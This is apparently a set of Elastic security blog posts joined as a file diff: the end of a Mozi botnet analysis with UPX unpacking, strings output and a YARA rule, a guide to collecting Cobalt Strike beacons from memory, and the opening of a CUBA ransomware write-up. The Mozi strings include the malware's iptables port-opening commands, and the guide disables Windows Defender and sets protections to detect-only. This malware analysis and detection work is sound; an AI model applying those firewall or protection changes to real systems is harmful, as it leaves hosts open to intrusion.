_Code block 4 - UPX output from corrupted Mozi sample_
|
||||
|
||||
Another road-block: the p_info section of the file appears to be corrupted. p_info is the sum of two sections from a file, p_blocksize and p_filesize . After a quick search for the error message, we landed on a [CUJOAI Anti-Unpacking blog](https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/) explaining the header corruptions commonly used in IoT malware to disrupt automated analysis tools.
|
||||
|
||||
Using this information, we cracked open our binary in [xxd](https://linux.die.net/man/1/xxd), a HEX dumper, to see which corruption we were dealing with. As described in the CUJOAI blog, the p_info blocks represent the sum of the p_filesize blocks and the p_blocksize blocks. This section begins with the 8 bytes after the UPX! text, and has been overwritten with zeros (the 8 bytes starting at 0x84 ).
|
||||
|
||||
```
|
||||
$ xxd truncated-87d3b.elf
|
||||
00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000 .ELF...a........
|
||||
00000010: 0200 2800 0100 0000 1057 0200 3400 0000 ..(......W..4...
|
||||
00000020: 0000 0000 0202 0000 3400 2000 0200 2800 ........4. ...(.
|
||||
00000030: 0000 0000 0100 0000 0000 0000 0080 0000 ................
|
||||
00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000 ................
|
||||
00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600 .........z......
|
||||
00000060: b0fa 0600 0000 0000 0000 0000 0600 0000 ................
|
||||
00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17 .......RUPX!....
|
||||
00000080: 0000 0000 0000 0000 0000 0000 9400 0000 ................
|
||||
00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261 ^.........ELF.ra
|
||||
000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07 ....(........4..
|
||||
000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009 .(...... .......
|
||||
...
|
||||
```
|
||||
|
||||
_Code block 5 - HEX view of the corrupted Mozi sample_
|
||||
|
||||
The CUJOAI blog states that if you manually update the values of the p_filesize blocks and the p_blocksize blocks with the value of the p_info, this will fix the corruption issue. Below we can see the p_info section in HEX, and we can use that to manually update the p_filesize and p_blocksize sections, which will allow us to unpack the binary (the 4 bytes starting at 0x1e110).
|
||||
|
||||
```
|
||||
$ xxd truncated-87d3b.elf
|
||||
...
|
||||
0001e0c0: 1914 a614 c998 885d 39ec 4727 1eac 2805 .......]9.G'..(.
|
||||
0001e0d0: e603 19f6 04d2 0127 52c9 9b60 00be 273e .......'R..`..'>
|
||||
0001e0e0: c00f 5831 6000 0000 0000 90ff 0000 0000 ..X1`...........
|
||||
0001e0f0: 5550 5821 0000 0000 5550 5821 0d17 0308 UPX!....UPX!....
|
||||
0001e100: 5199 6237 591c 321c d001 0000 b800 0000 Q.b7Y.2.........
|
||||
0001e110: 7c2a 0400 5000 0011 8000 0000 |*..P.......
|
||||
```
|
||||
|
||||
_Code block 6 - p_info HEX data from the corrupted Mozi sample_
|
||||
|
||||
First, let’s open the file with Vim. As we can see, it is just a UPX file as denoted by the UPX!.
|
||||
|
||||
```
|
||||
$ vim truncated-87d3b.elf
|
||||
^?ELF^A^A^Aa^@^@^@^@^@^@^@^@^B^@(^@^A^@^@^@^PW^B^@4^@^@^@^@^@^@^@^B^B^@^@4^@ ^@^B^@(^@^@^@^@^@^A^@^@^@^@^@^@^@^@<80>^@^@^@<80>^@^@^Mà^A^@^Mà^A^@^E^@^@^@^@<80>^@^@^A^@^@^@°z^@^@°ú^F^@°ú^F^@^@^@^@^@^@^@^@^@^F^@^@^@^@<80>^@^@^Pñ<8f>RUPX!^\
|
||||
```
|
||||
|
||||
_Code block 7 - Corrupted Mozi sample in Vim_
|
||||
|
||||
Using the xxd plugin for Vim, we can convert this to HEX so that we can make our modifications. This is achieved by typing :%!xxd, which will show us the HEX output for the file.
|
||||
|
||||
```
|
||||
00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000 .ELF...a........
|
||||
00000010: 0200 2800 0100 0000 1057 0200 3400 0000 ..(......W..4...
|
||||
00000020: 0000 0000 0202 0000 3400 2000 0200 2800 ........4. ...(.
|
||||
00000030: 0000 0000 0100 0000 0000 0000 0080 0000 ................
|
||||
00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000 ................
|
||||
00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600 .........z......
|
||||
00000060: b0fa 0600 0000 0000 0000 0000 0600 0000 ................
|
||||
00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17 .......RUPX!....
|
||||
00000080: 0000 0000 0000 0000 0000 0000 9400 0000 ................
|
||||
00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261 ^.........ELF.ra
|
||||
000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07 ....(........4..
|
||||
000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009 .(...... .......
|
||||
```
|
||||
|
||||
_Code block 8 - Corrupted Mozi sample in Vim with XXD plugin_
|
||||
|
||||
Next, we can just update bytes 0x84 - 0x8b(that we identified as having the zero’d out p_filesize and p_blocksize) with the HEX value for p_info (7c2a 0400).
|
||||
|
||||
```
|
||||
00000080: 0000 0000 7c2a 0400 7c2a 0400 9400 0000 ....|*..|*......
|
||||
```
|
||||
|
||||
_Code block 9 - Updated p_filesize and p_blocksize HEX values_
|
||||
|
||||
Let’s reset the file back using :%!xxd -r, save the file and exit Vim (:wq).
|
||||
|
||||
Finally, let’s try to unpack the file now that we’ve manually adjusted the HEX values.
|
||||
|
||||
```
|
||||
$ upx -d truncated-87d3b.elf
|
||||
Ultimate Packer for eXecutables
|
||||
Copyright (C) 1996 - 2020
|
||||
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
|
||||
File size Ratio Format Name
|
||||
-------------------- ------ ----------- -----------
|
||||
273020 <- 123165 45.11% linux/arm truncated-87d3b.elf
|
||||
Unpacked 1 file.
|
||||
```
|
||||
|
||||
_Code block 10 - Successfully unpacked Mozi sample_
|
||||
|
||||
We now have successfully unpacked the file. Let’s check to see what kind of file this is now by using the file command.
|
||||
|
||||
```
|
||||
$ file truncated-87d3b.elf
|
||||
truncated-87d3b.elf: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
|
||||
```
|
||||
|
||||
_Code block 11 - File type identification of the Mozi sample_
|
||||
|
||||
Now, we can again use the strings command to see if there is any useful information that we can use (truncated for readability).
|
||||
|
||||
```
|
||||
$ strings truncated-87d3b.elf
|
||||
...
|
||||
iptables -I OUTPUT -p udp --source-port %d -j ACCEPT
|
||||
iptables -I PREROUTING -t nat -p udp --destination-port %d -j ACCEPT
|
||||
iptables -I POSTROUTING -t nat -p udp --source-port %d -j ACCEPT
|
||||
iptables -I INPUT -p udp --dport %d -j ACCEPT
|
||||
iptables -I OUTPUT -p udp --sport %d -j ACCEPT
|
||||
iptables -I PREROUTING -t nat -p udp --dport %d -j ACCEPT
|
||||
iptables -I POSTROUTING -t nat -p udp --sport %d -j ACCEPT
|
||||
0.0.0.0
|
||||
[idp]
|
||||
This node doesn't accept announces
|
||||
v2s
|
||||
dht.transmissionbt.com:6881
|
||||
router.bittorrent.com:6881
|
||||
router.utorrent.com:6881
|
||||
bttracker.debian.org:6881
|
||||
nnn.nnn.nnn.nnn:6881
|
||||
abc.abc.abc.abc:6881
|
||||
xxx.xxx.xxx.xxx:6881
|
||||
yyy.yyy.yyy.yyy:6881
|
||||
NfZ
|
||||
Oo~Mn
|
||||
g5=
|
||||
N]%
|
||||
Range: bytes=
|
||||
User-Agent:
|
||||
...
|
||||
```
|
||||
|
||||
_Code block 12 - Strings output from the unpacked Mozi sample_
|
||||
|
||||
Running Strings, we can see, among other things, network indicators and changes to the local firewall, iptables. There is a lot of great information in this file that we can now review which can be used to search for infected devices.
|
||||
|
||||
Next, let’s enrich the ThreatFox data, store it in Elasticsearch, and visualize it with Kibana.
|
||||
|
||||
## Storing threat data in the Elastic Stack
|
||||
|
||||
Looking at what we’ve collected so far, we have rich threat data provided by ThreatFox that includes both network and file information. Additionally, we have actual malware samples collected from Malware Bazaar. Finally, we have performed static file analysis on the malware to identify additional indicators that could be of use.
|
||||
|
||||
For the next steps, we’re going to parse the data from ThreatFox and store that in the Elastic Stack so that we can leverage Kibana to visualize data to identify clusters of activity.
|
||||
|
||||
## Create the Ingest Node Pipeline
|
||||
|
||||
We're going to create an Ingest Node Pipeline to transform the data from ThreatFox into enriched Elasticsearch data. When making a pipeline, it's useful to make a table to lay out what we're going to do.
|
||||
|
||||
| | |
|
||||
| ---------------------------- | --------------------------------------------------------------- |
|
||||
| ThreatFox field | ECS-style field |
|
||||
| id | event.id |
|
||||
| ioc | threat.indicator.ip and threat.indicator.port |
|
||||
| threat_type | threat.software.type |
|
||||
| threat_type_desc | threat.indicator.description |
|
||||
| ioc_type | threat.indicator.type. Set threat.indicator.type to "ipv4-addr" |
|
||||
| malware | threat.software.name |
|
||||
| malware_printable | threat.threatfox.malware_printable |
|
||||
| malware_alias | threat.software.alias (if non-null) |
|
||||
| malware_malpedia | threat.software.reference |
|
||||
| confidence_level | threat.indicator.confidence |
|
||||
| first_seen | threat.indicator.first_seen |
|
||||
| last_seen | threat.indicator.last_seen |
|
||||
| reference | event.reference |
|
||||
| reporter | event.provider |
|
||||
| tags | tags |
|
||||
| `<enrichment>` | threat.indicator.geo. Enriched by our geoip processor. |
|
||||
| `<parsed-sha256>` | file.hash.sha256 and related.hash |
|
||||
| `<copy threat.indicator.ip>` | related.ip |
|
||||
|
||||
_Table 1 - Elasticsearch Ingest Node Pipeline for ThreatFox data_
|
||||
|
||||
To create the pipeline, go to **Kibana Stack Management** -> **Ingest Node Pipelines** , then click **Create pipeline**.
|
||||
|
||||

|
||||
|
||||
Next, we’ll give our pipeline a name, optionally a version, and a description.
|
||||
|
||||
From this view you can manually add processors and configure them to your liking. To give you a head start, we've provided the [ThreatFox pipeline definition here](https://github.com/elastic/examples/blob/master/blog/mozin-about/ingest-node-pipeline.json) you can paste in.
|
||||
|
||||
Click **Import processors** and paste the contents of this pipeline definition: [pipeline.json](https://github.com/elastic/examples/blob/master/blog/mozin-about/ingest-node-pipeline.json).
|
||||
|
||||
When you click **Load and overwrite** , you'll have each processor listed there as we've configured it. From here you can tweak it to your needs, or just scroll down and click **Create pipeline**.
|
||||
|
||||

|
||||
|
||||
Alternatively, if you’d like to use a turnkey approach, the [collection.sh](https://github.com/elastic/examples/blob/master/blog/mozin-about/collection.sh) script will allow you to collect the ThreatFox Mozi data, create the Elasticsearch ingest pipeline, the indicators Index, the Index Pattern, and send the data from ThreatFox directly into Elasticsearch.
|
||||
|
||||
```
|
||||
$ git clone https://github.com/elastic/examples
|
||||
$ cd examples/blog/mozin-about
|
||||
$ sh collection.sh
|
||||
```
|
||||
|
||||
_Code block 13 - Using the Mozi sample collection script_
|
||||
|
||||
Using the provided collection script, we can see the Threat Fox data is converted into the Elastic Common Schema (ECS) and sent to Elasticsearch for analysis.
|
||||
|
||||
<Video vidyard_uuid="hUokXLAUFJ7Tvp6mDQR6qH" />
|
||||
|
||||
_Figure 3 - ThreatFox data in Kibana_
|
||||
|
||||
## Analysis
|
||||
|
||||
Now that we’ve collected our samples, enriched them, and stored them in Elasticsearch, we can use Kibana to visualize this data to identify clusters of activity, make different observations, and set up different pivots for new research.
|
||||
|
||||
As a few quick examples, we can identify some ports that are used and countries that are included in the dataset.
|
||||
|
||||
Let’s start with identifying high-density network ports. Make a Lens visualization in Kibana by clicking on **Visualization Library** → **Create visualization** → **Lens**. We can make a simple donut chart to highlight that the threat.indicator.port of 6000 makes up over 10% of the network ports observed. This could lead us to explore other network traffic that is using port 6000 to identify other potentially malicious activity.
|
||||
|
||||

|
||||
|
||||
Of note, port 0 and 4000 are also observed and are interesting. Ports 6000, 4000, nor 0 are overly common on the Internet-at-large and could be used to identify other compromised hosts. It should be noted that while transient network indicators like IP and port are useful, they should not be used as the sole source to identify malicious activity irrespective of the intrusion set being investigated.
|
||||
|
||||
Next, we can use a Kibana Maps visualization to identify geographic clusters of activities, and include associated context such as indicator confidence, provider, and type.
|
||||
|
||||

|
||||
|
||||
Similar to the commentary above on IP and ports, geographic observations should not be the sole source used to take action. These are simply indicators for observed samples and require organizational-centric analysis to ascertain their meaning as it relates to the specific network.
|
||||
|
||||
This is useful information we can make the following analytical assertions based on our sampling:
|
||||
|
||||
- Mozi botnet is currently active and maintaining steady infection rates
|
||||
- Port 6000 is a dominant port used for command & control
|
||||
- At least 24 countries impacted suggests global threat with no specific targeting
|
||||
- Clusters of specific ASNs in Bulgaria and India stand out with highest volumes
|
||||
|
||||
As the analysis process starts to flow, it ends up providing additional avenues for research. One example an analyst may pursue is a propagation mechanism through the use of HTTP fingerprinting.
|
||||
|
||||
## Exploring the propagation mechanism
|
||||
|
||||
In the same manner as criminal fingerprints are tracked and logged in a database, a similar technique can be applied to publicly facing network infrastructure. An HTTP request can be sent to a webserver and the HTTP response that is returned can be used to identify possible web applications hosted on the server; even the ordering of the fields in the HTTP response can be used as an identifier.
|
||||
|
||||
One thing we learned about Mozi and how it contributes to its spreading power is that each compromised device contributes to the infection of future victims. The compromised device starts an HTTP server that hosts a Mozi payload on a random TCP port. Knowing this information, we can collect content from an infected system to generate a fingerprint using cURL.
|
||||
|
||||
```
|
||||
curl -I nnn.nnn.nnn.nnn:53822
|
||||
HTTP/1.1 200 OK
|
||||
Server: nginx
|
||||
Content-Length: 132876
|
||||
Connection: close
|
||||
Content-Type: application/zip
|
||||
```
|
||||
|
||||
_Code block 14 - HTTP response from a compromised device_
|
||||
|
||||
Based on the observed response back, we can pull back some interesting information such as:
|
||||
|
||||
- The use of an NGINX web server
|
||||
- No HTTP Date Header provided
|
||||
- The size of the file returned is close to 133 kilobytes
|
||||
|
||||
With this small amount of data, we can pivot to different search engines that store response data from these kinds of devices all over the world. By leveraging tools like [Shodan](https://www.shodan.io/), we can perform a search using the information obtained in the HTTP response. We’ll wildcard the Content-Length but use the same order for all of the HTTP response elements:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK Server: nginx Content-Length: * Connection: close Content-Type: application/zip
|
||||
```
|
||||
|
||||
_Code block 15 - HTTP header for Mozi propagation_
|
||||
|
||||
We can see a number of hits where this same response was captured on other devices and start to pinpoint additional machines. Below are a few examples from a Shodan search:
|
||||
|
||||

|
||||
|
||||
Other search examples over response data could be used as well such as the actual bytes of the malicious Mozi file that was returned in the response.
|
||||
|
||||
## Mitigation
|
||||
|
||||
The Mozi botnet propagates through the abuse of default or weak remote access passwords, exploits and outdated software versions. To defend devices from exploitation, we recommend:
|
||||
|
||||
- Changing the device default remote access passphrases
|
||||
- Updating devices to the latest firmware and software version supported by the vendor
|
||||
- Segmenting IoT devices from the rest of your internal network
|
||||
- Not making IoT devices accessible from the public Internet
|
||||
|
||||
## Detection logic
|
||||
|
||||
Using [YARA](https://virustotal.github.io/yara/), we can write a signature for the corrupted UPX header. Similar to rules that look for specific types of PowerShell obfuscation, the obfuscation mechanism itself can occasionally be a better indicator of maliciousness than attempting to signature the underlying activity. It is extremely important to note that zeroing out part of the header sections was the technique that we observed with our samples. There are a litany of other obfuscation and anti-analysis techniques that could be used with other samples. MITRE ATT&CK® describes additional subtechniques for the [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027/) technique from the [Defense Evasion](https://attack.mitre.org/tactics/TA0005) tactic.As noted above, the observed anti-analysis technique used by the analyzed Mozi samples consists solely of zeroing out the 8 bytes after the “UPX!” magic bytes, and the 4 bytes before that are always zero, so let's use a YARA signature derived from the work by [Lars Wallenborn](https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi/) (expanded for readability).
|
||||
|
||||
```
|
||||
rule Mozi_Obfuscation_Technique
|
||||
{
|
||||
meta:
|
||||
author = "Elastic Security, Lars Wallenborn (@larsborn)"
|
||||
description = "Detects obfuscation technique used by Mozi botnet."
|
||||
strings:
|
||||
$a = { 55 50 58 21
|
||||
[4]
|
||||
00 00 00 00
|
||||
00 00 00 00
|
||||
00 00 00 00 }
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
```
|
||||
|
||||
_Code block 16 - YARA signature detecting Mozi obfuscation_
|
||||
|
||||
- 55 50 58 21 - identifies the UPX magic bytes
|
||||
- [4] - offset by 4 bytes, the l_lsize, l_version & l_format
|
||||
- 00 00 00 00 - identifies the program header ID
|
||||
- 00 00 00 00 - identifies the zero’d out p_filesize
|
||||
- 00 00 00 00 - identifies the zero’d out p_blocksize
|
||||
- condition - requires that all of the above strings exist for a positive YARA signature match
|
||||
|
||||
The above YARA signature can be used to identify ELF files that are packed with UPX and have the header ID, p_filesize, and p_blocksize elements zero’d out. This can go a long way in identifying obfuscation techniques in addition to Mozi samples. In our testing, we used this YARA signature with a 94.6% efficiency for detecting Mozi samples.
|
||||
|
||||
## Summary
|
||||
|
||||
The Mozi botnet has been observed targeting vulnerable Internet of Things (IoT) devices to launch seemingly non-targeted campaigns that can take advantage of the force multiplication provided by a botnet. Mozi has been in operation since at least December 2019.
|
||||
|
||||
We covered techniques to collect, ingest, and analyze samples from the Mozi botnet. These methodologies can also be leveraged to enhance and enable analytical processes for other data samples.
|
||||
|
||||
## Additional resources
|
||||
|
||||
- Blog artifacts and scripts, Elastic: [https://github.com/elastic/examples/tree/master/blog/mozin-about](https://github.com/elastic/examples/tree/master/blog/mozin-about)
|
||||
- ThreatFox Indicator of Compromise Database, Abuse.ch: [https://threatfox.abuse.ch/browse](https://threatfox.abuse.ch/browse)
|
||||
- UPX Anti-Unpacking Techniques in IoT Malware, CUJOAI: [https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware](https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware)
|
||||
- Corrupted UPX Packed ELF Repair, vcodispot.com: [https://vcodispot.com/corrupted-upx-packed-elf-repair](https://vcodispot.com/corrupted-upx-packed-elf-repair)
|
||||
- UPX PACKED ELF BINARIES OF THE PEER-TO-PEER BOTNET FAMILY MOZI, Lars Wallenborn: [https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi](https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi)
|
||||
- Mozi, Another Botnet Using DHT, 360 Netlab: [https://blog.netlab.360.com/mozi-another-botnet-using-dht](https://blog.netlab.360.com/mozi-another-botnet-using-dht)
|
||||
- Mozi Botnet Accounts for Majority of IoT Traffic, Tara Seals: [https://threatpost.com/mozi-botnet-majority-iot-traffic/159337](https://threatpost.com/mozi-botnet-majority-iot-traffic/159337)
|
||||
- New Mozi P2P Botnet Takes Over Netgear, D-Link, Huawei Routers, Sergiu Gatlan: [https://www.bleepingcomputer.com/news/security/new-mozi-p2p-botnet-takes-over-netgear-d-link-huawei-routers](https://www.bleepingcomputer.com/news/security/new-mozi-p2p-botnet-takes-over-netgear-d-link-huawei-routers)
|
||||
- Kibana Maps, Elastic: [https://www.elastic.co/guide/en/kibana/current/maps.html](https://www.elastic.co/guide/en/kibana/current/maps.html)
|
||||
- Kibana Lens, Elastic: [https://www.elastic.co/guide/en/kibana/current/lens.html](https://www.elastic.co/guide/en/kibana/current/lens.html)
|
|
@ -0,0 +1,113 @@
|
|||
---
|
||||
title: "Collecting Cobalt Strike Beacons with the Elastic Stack"
|
||||
slug: "collecting-cobalt-strike-beacons-with-the-elastic-stack"
|
||||
date: "2022-06-01"
|
||||
description: "Part 1 - Processes and technology needed to extract Cobalt Strike implant beacons"
|
||||
author:
|
||||
- slug: derek-ditch
|
||||
- slug: daniel-stepanic
|
||||
- slug: seth-goodwin
|
||||
- slug: andrew-pease
|
||||
image: "photo-edited-01@2x.jpg"
|
||||
category:
|
||||
- slug: attack-pattern
|
||||
tags:
|
||||
- tutorial
|
||||
- cobalt strike
|
||||
- fleet
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
[Cobalt Strike](https://attack.mitre.org/software/S0154/) is a premium offensive security tool leveraged by penetration testers and red team members as a way to emulate adversary behavior. The goal is to validate security detection capabilities and processes replicating a real-world intrusion. While Cobalt Strike is a legitimate tool, it is often [abused by actual threat actors](https://www.proofpoint.com/uk/blog/threat-insight/cobalt-strike-favorite-tool-apt-crimeware) as a way to gain and maintain persistence into targeted networks.
|
||||
|
||||
To manage command and control, Cobalt Strike leverages an implant that uses beacon configuration known as a [Malleable Command and Control](https://www.cobaltstrike.com/help-malleable-c2) (Malleable C2) profile. A Malleable C2 profile contains a tremendous number of options to configure the beacon’s functionality, please see [Cobalt Strike’s official documentation](https://www.cobaltstrike.com/help-beacon) for specifics on configuring Malleable C2 beacons.
|
||||
|
||||
This blog will focus on using the Elastic Stack to collect Cobalt Strike beacon payloads, extract and parse the beacon configurations, and an analysis of the metadata within the configurations. This will all be taken from the memory of targeted Windows endpoints that we’ve collected from our telemetry.
|
||||
|
||||
## The Fleet Policy
|
||||
|
||||
[Fleet](https://www.elastic.co/guide/en/kibana/current/fleet.html) is an app in Kibana that provides a central place to configure and monitor your Elastic Agents. Fleet uses [integrations](https://www.elastic.co/guide/en/fleet/current/integrations.html), which are unified plugins that allow data to be collected from apps and services, and then stored in Elasticsearch. Integrations are added to policies, and Elastic Agents are added to policies.
|
||||
|
||||
First, we need to configure the collection of shellcode and malicious memory regions in a Fleet policy. This will collect 4MB of data from memory surrounding shellcode and malicious memory events. It should be noted that this collection may significantly increase the amount of data stored in Elasticsearch.
|
||||
|
||||
You can add this to an existing policy or create a new policy. To create a new policy, in Kibana, navigate to Fleet → Agent Policies → Create agent policy. Give your policy a name and description. Optionally, you can disable “System monitoring” and “Agent monitoring” to reduce the amount of system and agent metadata collected from your endpoints. Click on “Create agent policy”.
|
||||
|
||||

|
||||
|
||||
Next, click on your new policy and click the “Add integration button.
|
||||
|
||||

|
||||
|
||||
Finally, we’re going to add the memory and shellcode collection options. Click on the integration name (“Endpoint Security”).
|
||||
|
||||

|
||||
|
||||
Under “Protections”, leave the different protection types selected, but change the Protection level from “Prevent” to “Detect”. This will allow malware to continue to run to allow for more rich event collection. There are several types of Protections (Malware, Memory, etc.), select “Detect” for each type that has Windows as an available “Operating system”; you can uncheck Mac and Linux Operating Systems. **If you are enabling this feature for a production environment, leave the Protection levels as “Prevent”**
|
||||
|
||||

|
||||
|
||||
At the bottom of the integration configuration page, you can toggle “Register as antivirus” so that the Elastic Agent is registered as the Antivirus solution, and disable Windows Defender. Click on “Show advanced settings”.
|
||||
|
||||

|
||||
|
||||
At the very bottom of the advanced settings page, type “true” for the windows.advanced.memory_protection.shellcode_collect_sample and windows.advanced.memory_protection.memory_scan_collect_sample settings, and then click “Save integration”.
|
||||
|
||||

|
||||
|
||||
Once you have created this specific Fleet policy, you can apply this policy to an endpoint running the Elastic Agent. For specific instructions on how to deploy the Elastic Agent, refer to the [official Elastic documentation](https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html#install-fleet-managed-agent).
|
||||
|
||||
## Collecting the Beacon
|
||||
|
||||
Now that we’ve made a collection policy and applied it to a Windows machine you can target it with a CobaltStrike campaign. Instead of mimicking what a CobaltStrike beacon could look like in a lab, we’re going to use live CobaltStrike beacon payloads from Elastic’s telemetry.
|
||||
|
||||
To find Cobalt Strike beacon payloads, you can use the Discover app in Kibana to return events identified as Cobalt Strike. These events are provided by the Elastic Endpoint Security Agent, which identifies Cobalt Strike beacons and modules with the “Windows.Trojan.CobaltStrike” malware signature. A simple [Kibana Query Language (KQL)](https://www.elastic.co/guide/en/kibana/current/kuery-query.html) search is as simple as:
|
||||
|
||||
```
|
||||
KQL search for Cobalt Strike
|
||||
|
||||
event.category:(malware or intrusion_detection) and
|
||||
rule.name:(Windows.Trojan.CobaltStrike or Windows.Trojan.Cobaltstrike)
|
||||
```
|
||||
|
||||

|
||||
|
||||
Next, let’s filter on documents that have the process.Ext.memory_region.bytes_compressed field (this is a field populated by the windows.advanced.memory_protection.shellcode_collect_sample and windows.advanced.memory_protection.memory_scan_collect_sample settings we configured in the Fleet policy above). To do that we can simply add a filter for the process.Ext.memory_region.bytes_compressed_present field with a value of true.
|
||||
|
||||

|
||||
|
||||
Finally, add the process.Ext.memory_region.bytes_compressed field to our view so that we can see the value of the field.
|
||||
|
||||

|
||||
|
||||
We can see that we have 133 examples with data in the process.Ext.memory_region.bytes_compressed field. This field contains the file extracted from the memory of the infected host and then zlib deflated and Base64 encoded.
|
||||
|
||||

|
||||
|
||||
Now that we’ve collected the file in the Elastic Stack, let’s turn that raw data into a file that we can analyze.
|
||||
|
||||
There is a lot of nuance between operating systems on how to decode Base64 and inflate zlib deflated files. If you’d prefer to use your command line or local tools, feel free to do so. That said, [CyberChef](https://gchq.github.io/CyberChef) is a browser-based data parser that is provided for free by the United Kingdom’s Government Communications Headquarters (GCHQ).
|
||||
|
||||
Using the CyberChef web application, add the “From Base64” and “Zlib Inflate” [recipes](<https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)Zlib_Inflate(0,0,'Adaptive',false,false)>)and then paste the contents of the process.Ext.memory_region.bytes_compressed field into the ).
|
||||
|
||||
Click on the disk icon to download the inflated binary.
|
||||
|
||||

|
||||
|
||||
Running the file command, we can see that this is a Portable Executable (PE) file that can be analyzed by a malware reverse engineer (RE).
|
||||
|
||||
```
|
||||
Using the file command to validate the file type
|
||||
|
||||
$ file beacon.exe
|
||||
|
||||
beacon.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
|
||||
|
||||
|
||||
```
|
||||
|
||||
While an RE can identify a tremendous amount of information, let’s explore what additional information a non-RE can obtain from this file.
|
||||
|
||||
## Next Steps
|
||||
|
||||
In the next [release](https://www.elastic.co/security-labs/extracting-cobalt-strike-beacon-configurations), we’ll use the beacon that we’ve just collected and extract its configuration. With this information, we’ll be able to identify other important elements such as license identifications, watermarks, and atomic indicators.
|
|
@ -0,0 +1,522 @@
|
|||
---
|
||||
title: "CUBA Ransomware Campaign Analysis"
|
||||
slug: "cuba-ransomware-campaign-analysis"
|
||||
date: "2022-09-08"
|
||||
description: "Elastic Security observed a ransomware and extortion campaign leveraging a combination of offensive security tools, LOLBAS, and exploits to deliver the CUBA ransomware malware."
|
||||
author:
|
||||
- slug: daniel-stepanic
|
||||
- slug: derek-ditch
|
||||
- slug: seth-goodwin
|
||||
- slug: salim-bitam
|
||||
- slug: andrew-pease
|
||||
image: "blog-thumb-hard-drives.jpg"
|
||||
category:
|
||||
- slug: campaigns
|
||||
tags:
|
||||
- ref9019
|
||||
- cuba
|
||||
- ransomware
|
||||
---
|
||||
|
||||
## Key Takeaways
|
||||
|
||||
- The Elastic Security Team is tracking an organized and financially-motivated ransomware and extortion group called Cuba Ransomware
|
||||
- Cuba Ransomware targets small and medium-sized retailers, exfiltrating sensitive information, and then deploying ransomware
|
||||
- Cuba Ransomware uses a “name and shame” approach by releasing exfiltrated data as an additional method to extort ransomware cryptocurrency payments
|
||||
- We are releasing a YARA signature and providing hunting queries that detect this ransomware family
|
||||
|
||||
> For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:
|
||||
>
|
||||
> - [CUBA Malware Analysis](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis)
|
||||
> - [BUGHATCH Malware Analysis](https://www.elastic.co/security-labs/bughatch-malware-analysis)
|
||||
|
||||
## Preamble
|
||||
|
||||
The Elastic Security Team is tracking a threat group that is leveraging the Cuba Ransomware, combined with data exfiltration and extortion, to target North American and European retailers and manufacturers for cryptocurrency payments. The threat group has followed an effective, but repetitive cluster of TTPs for initial access, lateral movement, exfiltration, ransomware deployment, and extortion.
|
||||
|
||||
## Initial Access
|
||||
|
||||
The incidents that we have observed included hosts that were infected with a litany of initial access opportunities. These included everything from potentially unwanted programs (PUP) to remotely executable vulnerabilities. Because of this, we cannot verify what the initial access vehicle was, but there are two theories:
|
||||
|
||||
- An access broker
|
||||
- A remotely exploitable vulnerability
|
||||
|
||||
While there are many ways to gain access into a targeted network, we’ll explore the most likely hypotheses for how the CUBA threat group gained access.
|
||||
|
||||
### Access Broker
|
||||
|
||||
As an introduction, an access broker is a threat group who, as they move through the [kill chain](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html), has their “actions on objective” as collecting and maintaining remote access into a targeted network so that access can be sold to other threat groups who have other goals.
|
||||
|
||||
This is a common tactic for ransomware campaigns where the goal is to rapidly encrypt and extort victims into paying to recover data. When using ransomware kits (ransomware-as-a-service), the threat actors are often focused on moving rapidly across many victims and not on the reconnaissance required to identify and exploit victims to deploy their ransomware.
|
||||
|
||||
Ransomware-as-a-service includes a lot of overhead such as negotiating with victims, troubleshooting unlock procedures, and managing the crypto infrastructure. It is often easier to purchase previously exploited systems that allow the ransomware campaign owners to be “shell wranglers” instead of needing to gain and maintain access to a large number of environments.
|
||||
|
||||
The theory that an initial access broker may have been used began percolating because we observed access attempts using an Exchange vulnerability in multiple contested networks; however, all networks did not receive the CUBA ransomware. Additionally, we observed initial access attempts in January but did not observe CUBA ransomware until March which would align with an access broker gaining and maintaining persistence while shopping for a buyer.
|
||||
|
||||
In the environments where the CUBA ransomware was not deployed, the incident response was rapid, however incomplete, and access was regained. Once the persistence was observed, the adversary was successfully evicted and CUBA was never deployed.
|
||||
|
||||
### Remotely Exploitable Vulnerability
|
||||
|
||||
We observed the execution of the ProxyLogon exploit. [<u>Previous research</u>](https://www.mandiant.com/resources/unc2596-cuba-ransomware) has observed this threat group leveraging [<u>ProxyLogon</u>](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855) and [<u>ProxyShell</u>](https://www.mandiant.com/resources/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers) vulnerabilities to gain initial access.
|
||||
|
||||
```
|
||||
